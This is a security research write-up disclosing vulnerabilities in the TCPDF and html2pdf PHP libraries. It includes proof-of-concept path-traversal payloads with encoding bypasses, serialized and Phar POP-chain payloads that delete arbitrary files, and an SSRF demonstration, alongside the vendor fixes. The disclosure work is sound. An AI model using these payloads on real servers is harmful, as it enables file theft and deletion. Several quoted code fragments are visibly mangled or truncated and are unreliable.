

Blind trust: what is hidden behind the process of creating your PDF file?

Blind trust: what is hidden behind the process of creating your PDF file? - Aleksey Solovev, PT SWARM.

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Content

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Every day, thousands of web services generate PDF (Portable Document Format) files—bills, contracts, reports. This step is often treated as a technical routine, “just convert the HTML,” but in practice it’s exactly where a trust boundary is crossed. The renderer parses HTML, downloads external resources, processes fonts, SVGs, and images, and sometimes has access to the network and the file system. Risky behavior can occur by default, without explicit options or warnings. That is enough for a PDF converter to become an SSRF proxy, a data leak channel, or even cause denial of service.

We therefore conducted a targeted analysis of popular HTML-to-PDF libraries written in the PHP, JavaScript, and Java languages: TCPDF, html2pdf, jsPDF, mPDF, snappy, dompdf, and OpenPDF. During the research, the PT Swarm team identified **13 vulnerabilities**, demonstrated **7 intentional behaviors**, and highlighted **6 potential misconfigurations**. These included vulnerability classes such as **Files or Directories Accessible to External Parties**, **Deserialization of Untrusted Data**, **Server-Side Request Forgery**, and **Denial of Service**.

PDF generation is increasingly common across e-commerce, fintech, logistics, and SaaS. Such services are often deployed inside the perimeter, next to sensitive data, where network controls are looser. This means that even a seemingly harmless bug in the renderer can escalate into a serious incident: leakage of documents, secrets, or internal URLs.

In this article, we present a threat model for an HTML-to-PDF library, walk through representative findings for each library, and provide PoC snippets.

Introduction

Private user image

To demonstrate a Files or Directories Accessible to External Parties vulnerability, we used a neural network to generate a scan of a passport from a fictitious country. This file simulates sensitive personal data (PII), which security professionals most often encounter during information security audits. For the demonstration, the file will be placed at the following path:

```
/tmp/user_files/user_1/private_image.png .
```

[image: image]

Figure 1.Private user image

Arbitrary system file

To demonstrate the Deserialization of Untrusted Data vulnerability, an arbitrary file will be placed on the server at the following path: `/tmp/do_not_delete_this_file.txt` . Deleting such a real file on a live system can cause issues such as denial of service or provide a way to bypass certain restrictions at the server or application level. Note that the process deleting this file must have the necessary permissions.

Checking for the `/tmp/do_not_delete_this_file.txt` file in the system

```
user@machine:~$ ls /tmp | grep "do_not_delete_this_file.txt"
do_not_delete_this_file.txt
user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug  4 15:10 /tmp/do_not_delete_this_file.txt
user@machine:~$ cat /tmp/do_not_delete_this_file.txt
3d6d1c81-7e5e-4694-b16d-6b06da3aa281
```

Identifying the library and its version

PDF generation is most likely performed by a third party library, and there are many of them across different programming languages. In many cases these libraries leave their signatures—name and version—in the files they generate.

To identify the signature of the library that generated a PDF file, you can inspect the document properties. The library is TCPDF (version 6.10.1), a popular PHP library.

[image: image]

Identifying the library and its version is essential for information security professionals and bug hunters. Once you have the signature, check for previously discovered and publicly known vulnerabilities, as well as possible misconfigurations and intentional behaviors.

The tecnickcom/tcpdf library

Description

[image: image]

The [tecnickcom/tcplib-pdf](https://github.com/tecnickcom/tcplib-pdf) library is a PHP library for generating PDF documents and barcodes and is currently in support only mode. A new version of this library is under development—[tecnickcom/tcplib-pdf](https://github.com/tecnickcom/tcplib-pdf).

Detected vulnerabilities

Vulnerability 1. Files or Directories Accessible to External Parties via the image tag and the xlink:href attribute

Researchers: Vladimir Razov

Description

Special HTML markup supplied by an external source allows an attacker to add an arbitrary image to the generated PDF on the target server due to improper validation of path in the image tag of the `xlink:href` attribute within the embedded SVG image via a picture.

Background Path traversal (also known as Directory traversal) is a web application vulnerability that allows an attacker to access files and directories on the server that should not be accessible through the web interface.

We will demonstrate the exploitation of this vulnerability on version 6.8.0 of the [tecnickcom/tcplib-pdf](https://github.com/tecnickcom/tcplib-pdf) library.

Installing the vulnerable version of the library

```
$ composer require tecnickcom/tcplib-pdf:6.8.0
```

Technical details

Let's look at our first vulnerability, which allowed us to access a private user image on the server.

When parsing an SVG image, which is valid XML file, each child tag is processed by the `startSVGElementHandler` function. Below is a fragment of the `startSVGElementHandler` TCPDF method.

To highlight the key points to observe, we mark them with inline comments using numbered markers: `// marker N`.

Marker 1 shows the initialization of the `$img` variable from the associative array `$attribs` via the `xlink:href` key. Tracing the `$img` variable back to *marker 3* makes it clear that nothing prevents validating the requested image path. Let's exploit it!

```
<?php
```

```
class TCPDF {
```

```
...
```

```
protected function startSVGELEMENT_HANDLER($parser, $name, $attribs, $ctm=array()) {
```

```
...
```

```
// process tag
```

```
switch($name) {
```

```
...
```

```
// image
```

```
case 'image': {
```

```
...
```

```
if (isset($attribs['xlink:href']) OR empty($attribs['xlink:href'])) {
```

```
    break;
```

```
}
```

```
...
```

```
$img = $attribs['xlink:href']; // marker 1
```

```
if (!$clipping) {
```

```
...
```

```
if (preg_match('/^data:imageV(?:;+base64,/) $img, $m) > 0) {
```

```
...
```

```
} else {
```

```
    // fix image path
```

```
if (!TCPDF_STATIC::empty_string($this->svgdir) AND (($img[0] == '.') OR (basename($img) == $img))) {
```

```
    // replace relative path with full server path
```

```
    $img = $this->svgdir.'/'.$img;
```

```
}
```

```
if (($img[0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { // marker 2
```

```
    $findroot = strpos($img, $_SERVER['DOCUMENT_ROOT']);
```

```
if (($findroot === false) OR ($findroot > 1)) {
```

```
    if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
```

```
        $img = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$img;
```

```
    } else {
```

```
        $img = $_SERVER['DOCUMENT_ROOT'].$img;
```

```
    }
```

```
}
```

```
}
```

```
$img = urldecode($img); // marker 3
```

```
$testscrtype = @parse_url($img);
```

```
...
```

```
}
```

```
...
```

```
}
```

```
break;
```

```

}
...
}
...
}
...
}

```

Exploitation

An attacker sends a payload that contains two images. In this case, we assume that the externally supplied payload is already in the `$payload` variable.

Each `img` tag includes a `src` attribute with a Base64 encoded string.

Web application source code

```

<?php
require __DIR__ . '/vendor/autoload.php';

$payload = <<<payload
<html>
  <body>
    
</html>
payload;

$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload);
$pdf->Output('./generated_file.pdf', 'I');
?>

```

After decoding the Base64-encoded strings, we get a fully valid SVG image that includes the image tag with the `xlink:href` attribute. This attribute contains a relative path to the private image on the target server: `../../../../../../tmp/user_files/user_1/private_image.png` or `../../../../../../tmp/user_files/user_1/private_image.png` (so that the execution meets the condition marked as *marker 2*).

First SVG payload decoded from Base64

```
<svg viewBox="0 0 0 0" xmlns="http://www.w3.org/2000/svg">
  <image width="100%" height="100%" xlink:href="../../../tmp/user_files/user_1/private_image.png" />
</svg>
```

We then call the vulnerable server to trigger PDF generation based on the payload in the `$payload` variable. If successful, the browser displays a PDF file with arbitrary private user images retrieved via path traversal.

[image: image]

Figure 2. Unauthorized retrieval of an arbitrary user's private images

Fix

The vendor [fixed this vulnerability](#) on January 26, 2025, and released the version 6.8.1 of the library. The fix added an extra conditional check in the `startSVGElementHandler` TCPDF method. It checks whether the `"../"` substring exists in the `$img` variable and, if found, the execution is interrupted with the break statement.

Vulnerability 2. Files or Directories Accessible to External Parties via the image tag and the xlink:href attribute

Researcher: Aleksey Solovev

Description

This vulnerability is directly related to the previous one and the vendor's patch. The attacker can bypass [the vendor's patch](#) by additionally encoding certain characters in the string.

We will demonstrate the exploitation of this vulnerability on version 6.8.2 of the `tecnickcom/tcpdf` library.

Installing the vulnerable version of the library

```
$ composer require tecnickcom/tcpdf:6.8.2
```

Technical details

In version 6.8.2, the vendor introduced [an additional check](#) in the `startSVGElementHandler` TCPDF method for the `"../"` sequence in the `$img` variable.

Reanalyzing the code in light of new information, we determined that to include an arbitrary private user image again, we must bypass the condition marked as *marker 2* in the code fragment below.

Library source code (version 6.8.2)

```
<?php
```

```
class TCPDF {
```

```
...
```

```
protected function startSVGELEMENT_HANDLER($parser, $name, $attribs, $ctm=array()) {
```

```
...
```

```
// process tag
```

```
switch($name) {
```

```
...
```

```
// image
```

```
case 'image': {
```

```
...
```

```
if (isset($attribs['xlink:href']) OR empty($attribs['xlink:href'])) {
```

```
    break;
```

```
}
```

```
...
```

```
$img = $attribs['xlink:href']; // marker 1
```

```
if (!$clipping) {
```

```
...
```

```
if (preg_match('/^data:imageV(?:;+base64,/' . $img, $m) > 0) {
```

```
...
```

```
} else {
```

```
    // fix image path
```

```
    if (strpos($img, '..') !== false) { // marker 2
```

```
        // accessing parent folders is not allowed
```

```
        break;
```

```
}
```

```
if (!TCPDF_STATIC::empty_string($this->svgdir) AND (($img[0] == '.') OR (basename($img) == $img))) {
```

```
    // replace relative path with full server path
```

```
    $img = $this->svgdir . '/' . $img;
```

```
}
```

```
if (($img[0] == '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { // marker 3
```

```
    $findroot = strpos($img, $_SERVER['DOCUMENT_ROOT']);
```

```
    if (($findroot === false) OR ($findroot > 1)) {
```

```
        if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
```

```
            $img = substr($_SERVER['DOCUMENT_ROOT'], 0, -1) . $img;
```

```
        } else {
```

```
            $img = $_SERVER['DOCUMENT_ROOT'] . $img;
```

```
        }
```

```
}
```

```
}
```

```
$img = urldecode($img); // marker 4
```

```
$testscrtype = @parse_url($img);
```

```
...
```

```

    }
    ...
}
break;
}
...
}
...
}
...
}

```

While I was figuring out how to bypass the `strpos($img, '..') !== false` check that verifies whether the `".."` substring (marker 2) exists in the string, I noticed the native function `urldecode`, which decodes the `$img` variable value (marker 4).

The strings `/..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png` or `..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fuser_files%2fuser_1%2fprivate_image.png` successfully bypass the conditional check (marker 2) because they contain the sequence `"..%2f"` rather than `".."`. The strings are then decoded when `urldecode` is called. When the `$img` variable string is normalized, all the `"..%2f"` sequences turn into `".."`.

Thus, the additional check introduced by the vendor as a vulnerability patch and marked as *marker 2* is successfully bypassed.

Web application source code

```

<?php
require __DIR__ . '/vendor/autoload.php';

$payload = <<<payload
<html>
  <body>
    
</html>
payload;

$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload);
$pdf->Output('./generated_file.pdf', 'I');
?>

```


Let's consider one of the two Base64 decoded payloads presented as an SVG image.

First SVG payload decoded from Base64

```
<svg viewBox="0 0 0 0" xmlns="http://www.w3.org/2000/svg">
  <image width="100%" height="100%" xlink:href="..\%2f..\%2f..\%2f..\%2ftmp%2fuser_files%2fuser_1%2fprivate
</svg>
```

We call the vulnerable server to trigger PDF generation based on the payload in the `$payload` variable. If successful, the browser displays a PDF file with two arbitrary private user images retrieved via path traversal.

[\[image: image\]](#)

Figure 3. Unauthorized retrieval of an arbitrary user's private images

Fix

The vendor [fixed this vulnerability](#) on April 3, 2025, and released the version 6.9.1 of the library. The fix introduced a new method, `isRelativePath`.

Vendor's patch in version 6.9.1

```
class TCPDF {
    ...
    /**
     * Check if the path is relative.
     * @param string $path path to check
     * @return boolean true if the path is relative
     * @protected
     * @since 6.9.1
     */
    protected function isRelativePath($path) {
        return (strpos(str_replace('%2E', '.', $this->unhtmlentities($path)), '..') !== false);
    }
    ...
}
```

Vulnerability 3. Files or Directories Accessible to External Parties via the image tag and the src attribute

Researcher: Aleksey Solovev

Description

Here is another vulnerability very similar to the previous one. It involves bypassing a check for the presence of the “../” value in a substring, but in a different place—the `openHTMLTagHandler` method rather than `startSVGElementHandler` as before.

We will demonstrate the exploitation of this vulnerability on version 6.8.2 of the `tecnickcom/tcpdf` library.

Installing the vulnerable version of the library

```
$ composer require tecnickcom/tcpdf:6.8.2
```

Technical details

Based on the detailed description of the previous vulnerability, the parallels are obvious.

When processing the `img` tag in the `openHTMLTagHandler` TCPDF method, it is possible to bypass the check (*marker 2*). This is done using a string in the `$imgsrc` variable that does not contain the `"../"` substring and starts with `"/"` to meet the condition marked as *marker 3*, after which the `$imgsrc` variable is passed to the native `urldecode` function (*marker 4*) to normalize the relative path.

Library source code (version 6.8.2)

```
<?php
```

```
class TCPDF {
```

```
...
```

```
protected function openHTMLTagHandler($dom, $key, $cell) {
```

```
...
```

```
// Opening tag
```

```
switch($tag['value']) {
```

```
...
```

```
case 'img': {
```

```
    if (empty($tag['attribute']['src'])) {
```

```
        break;
```

```
    }
```

```
    $imgsrc = $tag['attribute']['src']; // marker 1
```

```
    if ($imgsrc[0] === '@') {
```

```
        ...
```

```
    } else if (preg_match('@^data:image/([^\;]*);base64,(.*)@', $imgsrc, $reg)) {
```

```
        ...
```

```
    } elseif (strpos($imgsrc, '..') !== false) { // marker 2
```

```
        // accessing parent folders is not allowed
```

```
        break;
```

```
    } elseif ( $this->allowLocalFiles && substr($imgsrc, 0, 7) === 'file://') {
```

```
        ...
```

```
    } else {
```

```
        if (($imgsrc[0] === '/') AND !empty($_SERVER['DOCUMENT_ROOT']) AND ($_SERVER['DOCUMENT_ROOT'] != '/')) { //
```

```
            // fix image path
```

```
            $findroot = strpos($imgsrc, $_SERVER['DOCUMENT_ROOT']);
```

```
            if (($findroot === false) OR ($findroot > 1)) {
```

```
                if (substr($_SERVER['DOCUMENT_ROOT'], -1) == '/') {
```

```
                    $imgsrc = substr($_SERVER['DOCUMENT_ROOT'], 0, -1).$imgsrc;
```

```
                } else {
```

```
                    $imgsrc = $_SERVER['DOCUMENT_ROOT'].$imgsrc;
```

```
                }
```

```
            }
```

```
            $imgsrc = urldecode($imgsrc); // marker 4
```

```
            $testscrtype = @parse_url($imgsrc);
```

```
            ...
```

```
        }
```

```
    }
```

```
}
```

```
...
```

```
}
```

```
...
```

```
}
```

```
...  
}
```

Exploitation

The attacker transfers encoded payload with an image. The encoding ensures that, upon receiving the request, the server does not change the “`../%2f`” sequence to “`../`”. Otherwise, we would fail the check (*marker 2*) and could not exploit the vulnerability.

Web application source code

```
<?php  
require __DIR__ . '/vendor/autoload.php';  
  
$payload = isset($_GET['p']) ? $_GET['p'] : "";  
  
$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);  
$pdf->AddPage();  
$pdf->writeHTML($payload);  
$pdf->Output('./generated_file.pdf', 'I');  
?>
```

When sending the request to the server, the attacker encodes the first “`/`” character (to meet the condition marked as *marker 3*) as “`%2f`”, and the sequence that should look like “`../%2f`” (to bypass the check marked as *marker 2*) is double encoded as “`%252f`”.

The scenario looks as follows:

Double encoding of a specific character sequence

```
/?p=<img%20width="589px"%20height="415px"%20src="%2f..%252f..%252f..%252f..%252ftmp%252fuser_files%
```

We then call the vulnerable server to trigger PDF generation based on the payload in the `$payload` variable. If successful, the browser displays a PDF file with two arbitrary private user images retrieved via path traversal.

[\[image: image\]](#)

Figure 4. Unauthorized retrieval of an arbitrary user's private image

Fix

The vendor [fixed this vulnerability](#) on April 3, 2025, and released the version 6.9.1 of the library. The fix introduced a new method, `isRelativePath`.

Vendor's patch in version 6.9.1

```

class TCPDF {
    ...
    /**
     * Check if the path is relative.
     * @param string $path path to check
     * @return boolean true if the path is relative
     * @protected
     * @since 6.9.1
     */
    protected function isRelativePath($path) {
        return (strpos(str_ireplace('%2E', '.', $this->unhtmlentities($path)), '..') !== false);
    }
    ...
}

```

Vulnerability 4. Deserialization of Untrusted Data

Researchers: Aleksey Solovev, Nikita Sveshnikov

Description

While examining the TCPDF class, we found a POP (Property Oriented Programming) chain which, if exploited via unsafe deserialization, would allow an attacker to delete an arbitrary file from the system for which the current process would have permissions.

We will demonstrate the exploitation of this vulnerability on version 6.8.2 of the [tecnickcom/tcplib](https://github.com/tecnickcom/tcplib) library.

Installing the vulnerable version of the library

```
$ composer require tecnickcom/tcpdf:6.8.2
```

Technical details

We noticed that the TCPDF class contains a magic method `__destruct`, which in turn calls the `_destroy` method. Let's look more closely at what happens when unsafe deserialization into a TCPDF instance is performed.

Background Deserialization is converting data encoded in a particular format (such as JSON, XML, or a binary format) into instances or data structures that can be used by a program.

Passing a serialized string from an external source to the native `unserialize` function without preprocessing anywhere in the code will result in a TCPDF instance being created. When the instance is no longer needed, it will be destroyed, and the magic `__destruct()` method will be called first.

Inside the destructor, only the `_destroy` method is called (*marker 1*), so let's examine this method's logic.

If the `$this->file_id` field value is absent from the static `$cleaned_ids` variable (*marker 2*), execution proceeds to the next check (*marker 3*). In that check, the `$this->imagekeys` field must contain an array of values which, essentially, are paths to files to be deleted. The check verifies whether the file exists in the system (*marker 5*), after which the native `unlink` function is called (*marker 6*), which deletes the transferred value from the `$file` variable.

Sounds easy? It's time to show how this vulnerability can be exploited.

The `__destruct` and `__destroy` magic TCPDF methods

```
<?php

class TCPDF {
    ...
    public function __destruct() {
        // cleanup
        $this->__destroy(true); // marker 1
    }
    ...
    public function __destroy($destroyall=false, $preserve_objcopy=false) {
        if (isset(self::$cleaned_ids[$this->file_id])) { // marker 2
            $destroyall = false;
        }
        if ($destroyall AND !$preserve_objcopy && isset($this->file_id)) { // marker 3
            ...
            if (isset($this->imagekeys)) { // marker 4
                foreach($this->imagekeys as $file) {
                    if (strpos($file, K_PATH_CACHE) === 0 && TCPDF_STATIC::file_exists($file)) { // marker 5
                        @unlink($file); // marker 6
                    }
                }
            }
        }
        ...
    }
    ...
}
```

Exploitation

Let's imagine a web application that generates a PDF file based on data obtained from an external source.

The logic is straightforward: the value passed in the GET parameter "p" must be a serialized string (<https://github.com/ambionics/phpggc/pull/215>). The system checks that the string exists and deserializes it into the `$payload` variable. Next, the code checks whether the `$payload` array contains a string under the `html` key. If so, it is used to generate the PDF file.

If everything is correct, we proceed to generate the PDF!

Web application source code

```
<?php
require __DIR__ . '/vendor/autoload.php';

if (!array_key_exists('p', $_GET)) {
    die('The GET parameter \'p\' is missing.');
```



```
}

$payload = unserialize($_GET['p']);
if (!$payload || !array_key_exists('html', $payload) || !is_string($payload['html'])) {
    die('The \'html\' key is missing in the deserialized structure or the value is not a string.');
```



```
}

$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload['html']);
$pdf->Output('./generated_file.pdf', 'I');
```



```
?>
```

You may have noticed that the TCPDF class is in scope. We create an instance and use it to generate a PDF. As noted earlier, the code calls the native `unserialize` function with data coming from an external source. The pieces fit together.

At the beginning we mentioned that the target server contains the file `/tmp/do_not_delete_this_file.txt`. We will delete it to clearly demonstrate exploitation of the vulnerability we discovered.

Checking for the `/tmp/do_not_delete_this_file.txt` file in the system:

```
user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug  4 15:10 /tmp/do_not_delete_this_file.txt
```

On the attacker's machine, a string was serialized based on the TCPDF class; the fields `file_id` and `imagekeys` must be defined in this string.

The `imagekeys` field contains an array of file paths that will be deleted upon deserialization when the TCPDF magic method `__destruct` executes.

Serializing an instance of the TCPDF class with the preset `file_id` and `imagekeys` fields

```

user@machine:~$ cat generate.php
<?php
class TCPDF {}

$dummy = new TCPDF;
$dummy->file_id = -1;
$dummy->imagekeys = ["/tmp/../../tmp/do_not_delete_this_file.txt"];

$payload = serialize(["html" => $dummy]);
echo $payload . PHP_EOL;
?>
user@machine:~$ php generate.php
a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../../tmp/do_not_delete_this_file.txt";}}}

```

We initiate PDF generation by sending a special HTTP request to the target server in which the GET parameter “p” contains the serialized string.

Attacker scenario execution

```
/?p=a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../../tmp/do_not_delete_this_file.txt";}}
```

During deserialization of the transferred string, a TCPDF instance will be created and then automatically destroyed by calling the destructor, which triggers deletion of an arbitrary file from the system.

When we addressed the web application script, we received a 500 Internal Server Error. Let’s check the target system for the file `/tmp/do_not_delete_this_file.txt`. The file was successfully deleted, which indicates successful exploitation of the vulnerability.

[\[image: image\]](#)

Figure 5. Execution of request with a serialized string of a TCPDF instance

Fix

The vendor [fixed this vulnerability](#) on April 20, 2025, and released the version 6.9.3 of the library.

The fix introduced a new `_unlink` function, a wrapper over the native `unlink` function, of the TCPDF class (*marker 2*), as well as an improved check for file existence in the system and for whether the file belongs to the library by adding the substring `_tcpdf` in the filename (*marker 1*).

Fixing the file deletion logic during deserialization


```

class TCPDF {
    ...
    public function _destroy($destroyall=false, $preserve_objcopy=false) {
        if (isset(self::$cleaned_ids[$this->file_id])) {
            $destroyall = false;
        }
        if ($destroyall AND !$preserve_objcopy && isset($this->file_id)) {
            ...
            if (isset($this->imagekeys)) {
                foreach($this->imagekeys as $file) {
                    if ((strpos($file, K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_') === 0)
                        && TCPDF_STATIC::file_exists($file)) { // marker 1
                        $this->_unlink($file);
                    }
                }
            }
        }
        ...
    }
    ...
    protected function _unlink($file) // marker 2
    {
        if ((strpos($file, '://') !== false) && (substr($file, 0, 7) !== 'file://') || (!$this->allowLocalFiles)) {
            // forbidden protocol
            return false;
        }
        return @unlink($file);
    }
    ...
}

```

Vulnerability 5. Server-Side Request Forgery (Blind SSRF) via the img tag and the src attribute

Researcher: Aleksey Solovev

Description

In this research we touch on Server Side Request Forgery (SSRF) for the first time; we will encounter it again later.

Background SSRF is a web application vulnerability that allows an attacker to send requests from the server to other servers, including internal ones not accessible from the external network. This can lead to serious consequences such as disclosure of confidential information, bypassing network restrictions, and even gaining control of internal systems.

Before we discuss where exactly this vulnerability appears in the library's source code, its exploitation, and the fix, we remind you of the risks:

- Access to internal resources and their scanning
- Local file read
- Running arbitrary commands
- Attacks on other systems
- Bypassing firewalls and other security tools

In this example we will demonstrate a simple, well known way to send an arbitrary request from the server.

We will demonstrate the exploitation of this vulnerability on version 6.10.0 of the `tecnickcom/tcpdf` library.

Installing the vulnerable version of the library

```
$ composer require tecnickcom/tcpdf:6.10.0
```

Technical details

There are quite a few issues in the library's source code that may lead to server side request forgery. For example, this can happen when processing an image with the `img` tag and the `src` attribute. This occurs because, under various conditions, the library may repeatedly check whether the image actually exists and request the image for further processing.

In this example we will not list the vulnerable code fragments due to their size. However, note that a number of functions can cause a request execution on the server side: `curl_exec`, `getimagesize`, `file_get_contents`, and so on.

Exploitation

The attacker transfers a payload that contains an `img` tag with the `src` attribute whose value is the target server's local address on port 8080. We assume that the payload provided from an external source is already in the `$payload` variable.

Web application source code

```
<?php
require __DIR__ . '/vendor/autoload.php';

$payload = <<<payload
<html>
  <body>
    
  </body>
</html>
payload;

$pdf = new TCPDF('P', 'mm', 'A4', true, 'UTF-8', false);
$pdf->AddPage();
$pdf->writeHTML($payload);
$pdf->Output('./generated_file.pdf', 'I');
?>
```

Note that an arbitrary web application is running on the target server on port 8080. This demonstrates that the attacker can reach an internal address and port of the server.

Starting the web application on port 8080 on the target server

```
user@machine:~$ mkdir app && python3 -m http.server 8080 -d ./app
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
```

The attacker accesses the web application script that generates the PDF file. The web application running on the same server on port 8080 receives five loopback requests at the local address 127.0.0.1.

[image: image]

Figure 6. Server-side requests to internal addresses

Fix

We reported the problem to the vendor. However, the library developer replied that this vulnerability is not valid or is out of scope for the library.

[image: image]

The spipu/html2pdf library

Description

[image: image]

The [spipu/html2pdf](#) library is an HTML to PDF converter written in PHP and compatible with PHP 7.2–8.4. It allows conversion of valid HTML file into PDF to generate invoices, documentation, and so on.

Detected vulnerabilities

Vulnerability 1. Deserialization of Untrusted Data

Researcher: Aleksey Solovev

Description

We found that the library uses the [tecnickcom/TCPDF](#) library internally, which we already discussed above.

In this library we discovered a vulnerability that allows deserialization via a Phar archive followed by deletion of an arbitrary file from the system, provided the current process has the necessary permissions.

Background

Phar archives are similar to Java JARs but adapted to the needs and flexibility of PHP applications. A Phar archive is used to distribute a complete PHP application or library as a single file (<https://www.php.net/manual/ru/phar.using.intro.php>).

To demonstrate the vulnerability, the following is required:

- The PHP version is lower than 8.0. This is because PHP 8.0 improved security: the Phar stream wrapper (phar://) no longer automatically causes deserialization in stream wrapper operations such as `file_exists('phar://file.txt')`.
- The generated Phar archive is already present on the target system at a known path. In real-world web apps, you can often upload it through the file/image upload functionality.
- A POP chain (Property Oriented Programming chain) is in scope.
- A particular native function must be called with a parameter controlled by the attacker, leading to deserialization of the Phar archive.

We will demonstrate the exploitation of this vulnerability on version 5.3.0 of the [spipu/html2pdf](#) library.

Installing the vulnerable version of the [spipu/html2pdf](#) library

```
$ composer require spipu/html2pdf:5.3.0
```

When installing version 5.3.0 of the [spipu/html2pdf](#) 5.3.0 library, the Composer package manager installs the then latest version of the [tecnickcom/tcpdf](#) library (6.10.0), which already contains the fix for the unsafe deserialization vulnerability we found.

At the time of our research, the vulnerabilities existed in both libraries simultaneously. Therefore, to reproduce the vulnerability, we downgrade [tecnickcom/tcpdf](#) to 6.8.2.

Downgrading [tecnickcom/tcpdf](#) to 6.8.2

```
composer update --with tecnickcom/tcpdf:6.8.2
```

Technical details

The spipu/html2pdf library processes a custom tag “cert”. It is handled by the `_tag_open_CERT` `Html2Pdf` method. Note that the `$param` variable contains values that can be controlled by an attacker.

Let’s examine how the `$certificate` (*marker 1*) and the `$privkey` (*marker 3*) variables are initialized and then passed to the native `file_exists` function (*markers 2 and 4*).

The `Html2Pdf::_tag_open_CERT` method

```
class Html2Pdf
{
    ...
    protected function _tag_open_CERT($param)
    {
        $res = $this->_tag_open_DIV($param);
        if (!$res) {
            return $res;
        }

        // set certificate file
        $certificate = $param['src']; // marker 1
        if(!file_exists($certificate)) { // marker 2
            return true;
        }

        // Set private key
        $privkey = $param['privkey']; // marker 3
        if(strlen($privkey)==0 || !file_exists($privkey)) { // marker 4
            $privkey = $certificate;
        }
        ...
    }
}
```

In PHP language, there are certain native functions that can lead to Phar archive deserialization, and `file_exists` is one of them.

Great – now we just need to verify that the POP chain actually exists and that it is in scope for the code.

The spipu/html2pdf library depends on the tecnickcom/tcpdf library. In the latter, we identified the vulnerability and demonstrated how it can be exploited to delete an arbitrary file from the system (described above).

The spipu/html2pdf library dependence on the tecnickcom/tcpdf library

```
$ tree -L 4 .
.
├── composer.json
├── composer.lock
├── index.php
├── vendor
│   ├── autoload.php
│   ├── composer
│   ├── ...
│   ├── spipu
│   │   ├── html2pdf
│   │   ├── ...
│   │   └── src
│   ├── ...
│   ├── tecnickcom
│   │   └── tcpdf
│   │       ├── ...
│   │       └── tcpdf.php
│   └── ...
```

It is now time to exploit the vulnerability we found by using the native `file_exists` function.

Exploitation

Before exploitation, let's confirm that `/tmp/do_not_delete_this_file.txt` exists on the target system.

Checking for the `/tmp/do_not_delete_this_file.txt` file in the system

```
user@machine:~$ ls -l /tmp/do_not_delete_this_file.txt
-rw-r--r-- 1 www-data www-data 36 Aug  4 15:10 /tmp/do_not_delete_this_file.txt
```

When describing this vulnerability, we mentioned a Phar archive. Attackers generate it on their machine with the POP chain we discovered. When using the spipu/html2pdf library, the TCPDF class of the tecnickcom/tcpdf library is in scope.

On the attacker's machine, the `generate_phar.php` script was created and run. In it, we define the TCPDF class and create a TCPDF instance with preset values for two required fields— `file_id` and `imagekeys` .

Script for generating a Phar archive in tecnickcom/tcpdf using the POP chain we discovered

```

<?php
class TCPDF {}

$dummy = new TCPDF;
$dummy->file_id = -1;
$dummy->imagekeys = ["/tmp/../../tmp/do_not_delete_this_file.txt"];

@unlink("archive.phar");

$archive = new Phar("archive.phar");
$archive->startBuffering();
$archive->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
$archive["file"] = "text";
$archive->setMetadata($dummy);
$archive->stopBuffering();

?>

```

We generate `archive.phar` using PHP 7.3 and rename it to `archive.png`. It is also important to set `phar.readonly=0` to allow successful generation.

Running the Phar archive generation script

```

user@machine:~$ php7.3 --define phar.readonly=0 generate_phar.php && mv archive.phar archive.png

```

The generated archive is placed on the target server. This can happen in various ways, for example via a file or image loading. In this case, we simply placed the Phar archive on the server at `/tmp/user_files/user_1/archive.png`.

Let's also look at the contents of the generated Phar archive with the `xxd` binary utility, which creates a hexadecimal representation of the file.

[\[image: image\]](#)

Phar archive uploaded on the target server at `/tmp/user_files/user_1/archive.png`

Let's demonstrate the web application source code.

The `$payload` variable contains payload with a custom tag "cert" with the `src` and `privkey` attributes. The attackers can control the values of these attributes, so they use the `phar://` protocol to address the file `/tmp/user_files/user_1/archive.png` previously uploaded on the server. We assume that the payload provided from an external source is already in the `$payload` variable.

Web application source code

```

<?php
require __DIR__ . '/vendor/autoload.php';

use Spipu\Html2Pdf\Html2Pdf;

$payload = <<<payload
    <cert
        src="phar:///tmp/user_files/user_1/archive.png"
        privkey="phar:///tmp/user_files/user_1/archive.png"
        name="sender_name"
        location="sender_location"
        reason="sender_reason"
        contactinfo="sender_contact"
    >
    </cert>
payload;

$html2pdf = new Html2Pdf('P', 'A4', 'en');
$html2pdf->writeHTML($payload);
echo $html2pdf->output('example01.pdf');
?>

```

When we access the web application script, processing the payload calls the `Html2Pdf` `_tag_open_CERT` method, which in turn calls the native function `file_exists` with the value `phar:///tmp/user_files/user_1/archive.png`. This triggers deserialization of the `TCPDF` class in the archive, followed by its destruction via the `__destruct` magic method. As we recall, this results in the deletion of an arbitrary file from the system, provided that the current process has permissions.

The request returns a successfully generated PDF file.

Let's check the target system for the file `/tmp/do_not_delete_this_file.txt`. The file was successfully deleted, which indicates successful exploitation of the vulnerability.

[\[image: image\]](#)

Figure 7. Generating a PDF file while exploiting unsafe Phar deserialization

Fix

The unsafe Phar deserialization [was addressed by the vendor](#) on February 26, 2025 in a new library version, 5.3.1.

